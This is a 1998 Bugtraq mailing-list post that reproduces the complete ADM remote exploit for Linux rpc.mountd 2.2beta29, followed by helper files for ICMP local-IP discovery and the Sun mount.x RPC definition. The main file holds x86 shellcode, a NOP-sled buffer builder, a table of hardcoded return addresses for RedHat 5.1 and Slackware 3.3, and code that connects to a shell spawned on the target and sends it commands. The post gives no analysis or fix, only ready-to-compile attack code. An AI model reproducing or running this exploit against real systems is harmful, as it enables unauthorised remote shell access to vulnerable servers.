more rpc.mountd
Date: Wed, 30 Sep 1998 07:22:31 -0700
From: jason valentine <jasonvalentine@YAHOO.COM>
To: BUGTRAQ@netspace.org
Subject: more rpc.mountd
-------------
ADMmountd.c
-------------
/*
*
*
* Linux rpc.mountd 2.2beta29 exploit
*
* Coded by plaguez, Antilove, Mikasoft at the ADM Party (7/98)
*
* Credits:
* - DiGiT for finding the vulnerability
* Compile: rpcgen mount.x ; gcc exmnt.c
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <getopt.h>
#include "mount_clnt.c"
#include "mount_xdr.c"
#include "ADMgetip.c"
#define NOP 0x90
#define WAITPORT 10752
#define STKLEN 200
char buff[10000];
struct target
{
char desc[80];
int systype;
unsigned long addr;
int addalign;
};
struct target targets[] =
{
{"RedHat Linux 5.1 k 2.0.35 rpc.mountd", 0, 0x08052d28, 0},
{"Slakware 3.3 k 2.0.33+Solar_Designer's patch rpc.mountd 2.2beta29",
0, 0x0805bbe0, 0},
};
char c0de[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" /* alarm(0); */
"\x33\xD2\x33\xc0\x8b\xDA\xb0\x06\xcd\x80\xfe\xc2\x75\xf4" /* close
FDs */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62\xeb\x62" /* w/ fork() */
//"\x31\xc0\xb0\x02\x90\x90\x85\xc0\x90\x90\xeb\x62" /* w/o fork() */
"\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b" /* =\_ who wrote it? */
"\xeb\xf5\xb0\x30\xfe\xc8\x88\x46\xff\xeb\xec" /* =/` hmm? */
"\x5e\xb0\x02\x89\x06\xfe\xc8\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb"
"\xfe\xc3\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46"
"\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
"\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04"
"\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80"
"\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1"
"\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46"
"\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff"
"\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77";
void
handle_alarm (sn)
int sn;
{
alarm (0);
signal (SIGALRM, SIG_DFL);
printf ("Unable to connect: Connection timed out\n");
exit (0);
}
unsigned long
host2ip (char *serv)
{
struct sockaddr_in sinn;
struct hostent *hent;
hent = gethostbyname (serv);
if (hent == NULL)
return 0;
bzero ((char *) &sinn, sizeof (sinn));
memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
return sinn.sin_addr.s_addr;
}
void
addchar (char *str, char ch)
{
unsigned int len;
len = strlen (str);
str[len] = ch;
str[len + 1] = 0;
}
int
ConnectServer (char *host, int port)
{
int sockdesc;
struct sockaddr_in sin;
struct hostent *he;
sin.sin_port = htons (port);
sin.sin_family = AF_INET;
he = gethostbyname (host);
if (he)
{
memcpy ((caddr_t) & sin.sin_addr.s_addr, he->h_addr,
he->h_length);
}
else
{
printf ("Error: gethostbyname(): Unable to resolve [%s]\n", host);
exit (-1);
}
if ((sockdesc = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("Error: socket()");
exit (-1);
}
if (connect (sockdesc, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror ("Error: connect()");
exit (-1);
}
return sockdesc;
}
void
MultiplexConnection (int sockdesc)
{
int ret;
char sockbuf[2048];
fd_set readfds;
sprintf (sockbuf, "trap '' SIGALRM SIGTRAP\n\
PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin;export PATH\n\
/usr/sbin/rpc.mountd </dev/null\n\
/bin/uname -a;/usr/bin/id\n");
write (sockdesc, sockbuf, strlen(sockbuf));
while (1)
{
FD_ZERO (&readfds);
FD_SET (0, &readfds);
FD_SET (sockdesc, &readfds);
select (255, &readfds, NULL, NULL, NULL);
if (FD_ISSET (sockdesc, &readfds))
{
memset (sockbuf, 0, 2048);
ret = read (sockdesc, sockbuf, 2048);
if (ret <= 0)
{
printf ("Connection closed by foreign host.\n");
exit (-1);
}
printf ("%s", sockbuf);
}
if (FD_ISSET (0, &readfds))
{
memset (sockbuf, 0, 2048);
read (0, sockbuf, 2048);
write (sockdesc, sockbuf, 2048);
}
}
}
int
lookup_host (ra, hn, rp)
struct sockaddr_in *ra;
char *hn;
unsigned short rp;
{
ra->sin_family = AF_INET;
ra->sin_port = htons (rp);
if ((ra->sin_addr.s_addr = inet_addr (hn)) == -1)
{
struct hostent *he;
if ((he = gethostbyname (hn)) != (struct hostent *) NULL)
{
memcpy (&ra->sin_addr.s_addr, he->h_addr, 4);
return 1;
}
else
herror ("Unable to resolve hostname");
}
else
return 1;
return 0;
}
int
m00unt (char *host, char *buf)
{
CLIENT *client;
fhstatus *FH;
dirpath DIR;
char buffer[10000];
int i;
char c;
/* ini the stuff */
/* mika is fuqn bad @ mace heheheh I OWN HIM %!@$!@$!@ :) */
bzero (buffer, sizeof (buffer));
DIR = buffer;
/* create the socket */
if ((client = clnt_create (host, MOUNTPROG, MOUNTVERS, "udp")) ==
NULL)
{
printf ("rpc.mountd not registred :>\n");
exit (2);
}
strncpy (DIR, buf, sizeof (buffer));
if ((mountproc_mnt_1 (&DIR, client)) == -1)
{
printf ("mountproc_mnt failed :<\n");
exit (0);
}
}
void
attack_mountd (loc)
char *loc;
{
int sockdesc;
int status;
switch (fork ())
{
case 0:
m00unt (loc, buff);
printf ("@#$%#!#$$\n");
exit (1);
case -1:
printf ("fork error\n");
exit (1);
default:
printf ("Attente connexion...\n");
fflush (stdout);
wait (&status);
}
sleep (5);
sockdesc = ConnectServer (loc, WAITPORT);
printf ("Shell found!\n");
MultiplexConnection (sockdesc);
close (sockdesc);
exit (-1);
}
void
usage (char *pname)
{
int compt;
printf ("\nUsage:\t%s targethost [-t type] [-o offset] [-a
align]\n", pname);
printf ("\ttargethost may either be name or ip.\n");
printf ("\ttype chooses from a list of predefined targets.\n");
for (compt = 0; compt < sizeof (targets) / (sizeof (struct target));
compt++)
printf ("\t\t%i: %s\n", compt, targets[compt].desc);
printf ("\toffset is the offset (not required if -t is used)\n");
printf ("\talign is the alignment (not required if -t is used)\n\n");
}
int
host2a (unsigned long ipz)
{
struct in_addr muf;
muf.s_addr = ipz;
return ((103 - (strlen (inet_ntoa (muf)))) % 4);
}
void
main (argc, argv)
int argc;
char *argv[];
{
int i;
struct sockaddr_in ra;
struct in_addr blah;
unsigned long muf;
char *ptr;
char *endbuff;
char *target = NULL;
unsigned long addr;
unsigned char jmp;
long *l_ptr;
int offset = 0;
int bsize = 1024;
int align = -1;
int targ = 0;
char o;
char *argv0 = strdup (argv[0]);
while ((o = getopt (argc, argv, "a:o:t:h")) != -1)
switch (o)
{
case 'h':
usage (argv0);
exit (1);
case 'o':
if (optarg)
offset -= atoi (optarg);
break;
case 't':
if (optarg)
targ = atoi (optarg);
break;
case 'a':
if (optarg)
align = atoi(optarg);
break;
}
argc -= optind;
argv += optind;
target = *argv;
if (!target)
{
usage (argv0);
exit (1);
}
memset (buff, '\x90', bsize);
printf ("selected target (-t %d): %s.\n", targ, targets[targ].desc);
addr = targets[targ].addr;
printf ("shellcode lenght: %i\n", strlen(c0de));
printf ("buffer size: %i\n", bsize);
addr += offset;
printf ("offset: %d\n", offset);
printf ("address: 0x%lx\n", addr);
getlocalip (&muf, host2ip (target));
blah.s_addr = muf;
printf ("local ip = %s\n", inet_ntoa (blah));
if (align < 0)
align = host2a (muf);
printf ("align = %i\n", align);
align += targets[targ].addalign;
endbuff = buff + bsize;
for (ptr = buff; ptr < (endbuff - strlen(c0de) - STKLEN); ptr++)
*ptr = NOP;
for (i = 0; i < strlen(c0de); i++)
*(ptr++) = c0de[i];
for (ptr += align; ptr < endbuff; ptr += 4)
{
ptr[0] = (addr & 0x000000ff);
ptr[1] = (addr & 0x0000ff00) >> 8;
ptr[2] = (addr & 0x00ff0000) >> 16;
ptr[3] = (addr & 0xff000000) >> 24;
}
*endbuff = '\x0';
attack_mountd (target);
}
/* today 9 Aug 1998 */
----------------
ADMgetip.c
----------------
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <unistd.h>
#include "ip_icmp.h"
#define ICMP_REPLY_TIMEOUT 15
unsigned short
in_cksum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
int getlocalip(unsigned long* src,unsigned long dest)
{
char try = 0;
struct sockaddr_in sin;
int icmp_sock;
int paket_len,sin_len;
char paket[1024];
short* chk;
struct timeval tm,tm1,tm2;
long sec,usec;
float ms;
fd_set fdset;
struct icmphdr* icmp=(struct icmphdr*)paket;
kkk:
icmp_sock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
FD_ZERO(&fdset);
FD_SET(icmp_sock,&fdset);
tm.tv_sec=ICMP_REPLY_TIMEOUT;;
tm.tv_usec=0;
sin.sin_family=AF_INET;
sin.sin_port=htons(0);
sin.sin_addr.s_addr=dest;
paket_len=8;
icmp->type=8;
icmp->code=0;
icmp->checksum=0;
icmp->un.echo.id=59;
icmp->un.echo.sequence=0;
icmp->checksum=in_cksum(icmp,paket_len);
sin_len=sizeof(sin);
sendto(icmp_sock,&paket,paket_len,0,(struct sockaddr *)&sin,sin_len);
gettimeofday(&tm1,NULL);
if (select(icmp_sock+1,&fdset,NULL,NULL,&tm)==1) {
recvfrom(icmp_sock,&paket,sizeof(paket),0,(struct sockaddr
*)&sin,&sin_len);
gettimeofday(&tm2,NULL);
sec=tm2.tv_sec-tm1.tv_sec;
usec=tm2.tv_usec-tm1.tv_usec;
ms=(sec*1000)+((float)usec/1000);
printf("ping: %9.2fms\n",ms);
}
else {
printf("ping timeout\n");
try ++;
if ( try > 2 )return(-1);
close (icmp_sock);
goto kkk;
}
*src=sin.sin_addr.s_addr;
return 0;
}
---------------
ip_icmp.h
---------------
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
#define ICMP_ECHOREPLY 0 /* Echo Reply */
#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
#define ICMP_SOURCE_QUENCH 4 /* Source Quench */
#define ICMP_REDIRECT 5 /* Redirect (change route) */
#define ICMP_ECHO 8 /* Echo Request */
#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
#define ICMP_PARAMETERPROB 12 /* Parameter Problem */
#define ICMP_TIMESTAMP 13 /* Timestamp Request */
#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
#define ICMP_INFO_REQUEST 15 /* Information Request */
#define ICMP_INFO_REPLY 16 /* Information Reply */
#define ICMP_ADDRESS 17 /* Address Mask Request */
#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
#define NR_ICMP_TYPES 18
/* Codes for UNREACH. */
#define ICMP_NET_UNREACH 0 /* Network Unreachable */
#define ICMP_HOST_UNREACH 1 /* Host Unreachable */
#define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */
#define ICMP_PORT_UNREACH 3 /* Port Unreachable */
#define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */
#define ICMP_SR_FAILED 5 /* Source Route failed */
#define ICMP_NET_UNKNOWN 6
#define ICMP_HOST_UNKNOWN 7
#define ICMP_HOST_ISOLATED 8
#define ICMP_NET_ANO 9
#define ICMP_HOST_ANO 10
#define ICMP_NET_UNR_TOS 11
#define ICMP_HOST_UNR_TOS 12
#define ICMP_PKT_FILTERED 13 /* Packet filtered */
#define ICMP_PREC_VIOLATION 14 /* Precedence violation */
#define ICMP_PREC_CUTOFF 15 /* Precedence cut off */
#define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */
/* Codes for REDIRECT. */
#define ICMP_REDIR_NET 0 /* Redirect Net */
#define ICMP_REDIR_HOST 1 /* Redirect Host */
#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
/* Codes for TIME_EXCEEDED. */
#define ICMP_EXC_TTL 0 /* TTL count exceeded */
#define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */
------------
mount.x
------------
/* @(#)mount.x 2.1 88/08/01 4.0 RPCSRC */
/* @(#)mount.x 1.2 87/09/18 Copyr 1987 Sun Micro */
/*
* Sun RPC is a product of Sun Microsystems, Inc. and is provided for
* unrestricted use provided that this legend is included on all tape
* media and as a part of the software program in whole or part. Users
* may copy or modify Sun RPC without charge, but are not authorized
* to license or distribute it to anyone else except as part of a
product or
* program developed by the user.
*
* SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING
THE
* WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
* PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE
PRACTICE.
*
* Sun RPC is provided with no support and without any obligation on the
* part of Sun Microsystems, Inc. to assist in its use, correction,
* modification or enhancement.
*
* SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
* INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
* OR ANY PART THEREOF.
*
* In no event will Sun Microsystems, Inc. be liable for any lost
revenue
* or profits or other special, indirect and consequential damages,
even if
* Sun has been advised of the possibility of such damages.
*
* Sun Microsystems, Inc.
* 2550 Garcia Avenue
* Mountain View, California 94043
*/
/*
* Protocol description for the mount program
*/
const MNTPATHLEN = 1024; /* maximum bytes in a pathname argument */
const MNTNAMLEN = 255; /* maximum bytes in a name argument */
const FHSIZE = 32; /* size in bytes of a file handle */
/*
* The fhandle is the file handle that the server passes to the client.
* All file operations are done using the file handles to refer to a
file
* or a directory. The file handle can contain whatever information the
* server needs to distinguish an individual file.
*/
typedef opaque fhandle[FHSIZE];
/*
* If a status of zero is returned, the call completed successfully,
and
* a file handle for the directory follows. A non-zero status indicates
* some sort of error. The status corresponds with UNIX error numbers.
*/
union fhstatus switch (unsigned fhs_status) {
case 0:
fhandle fhs_fhandle;
default:
void;
};
/*
* The type dirpath is the pathname of a directory
*/
typedef string dirpath<MNTPATHLEN>;
/*
* The type name is used for arbitrary names (hostnames, groupnames)
*/
typedef string name<MNTNAMLEN>;
/*
* A list of who has what mounted
*/
typedef struct mountbody *mountlist;
struct mountbody {
name ml_hostname;
dirpath ml_directory;
mountlist ml_next;
};
/*
* A list of netgroups
*/
typedef struct groupnode *groups;
struct groupnode {
name gr_name;
groups gr_next;
};
/*
* A list of what is exported and to whom
*/
typedef struct exportnode *exports;
struct exportnode {
dirpath ex_dir;
groups ex_groups;
exports ex_next;
};
program MOUNTPROG {
/*
* Version one of the mount protocol communicates with version two
* of the NFS protocol. The only connecting point is the fhandle
* structure, which is the same for both protocols.
*/
version MOUNTVERS {
/*
* Does no work. It is made available in all RPC services
* to allow server reponse testing and timing
*/
void
MOUNTPROC_NULL(void) = 0;
/*
* If fhs_status is 0, then fhs_fhandle contains the
* file handle for the directory. This file handle may
* be used in the NFS protocol. This procedure also adds
* a new entry to the mount list for this client mounting
* the directory.
* Unix authentication required.
*/
fhstatus
MOUNTPROC_MNT(dirpath) = 1;
/*
* Returns the list of remotely mounted filesystems. The
* mountlist contains one entry for each hostname and
* directory pair.
*/
mountlist
MOUNTPROC_DUMP(void) = 2;
/*
* Removes the mount list entry for the directory
* Unix authentication required.
*/
void
MOUNTPROC_UMNT(dirpath) = 3;
/*
* Removes all of the mount list entries for this client
* Unix authentication required.
*/
void
MOUNTPROC_UMNTALL(void) = 4;
/*
* Returns a list of all the exported filesystems, and which
* machines are allowed to import it.
*/
exports
MOUNTPROC_EXPORT(void) = 5;
/*
* Identical to MOUNTPROC_EXPORT above
*/
exports
MOUNTPROC_EXPORTALL(void) = 6;
} = 1;
} = 100005;
-jasonvalentine
_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com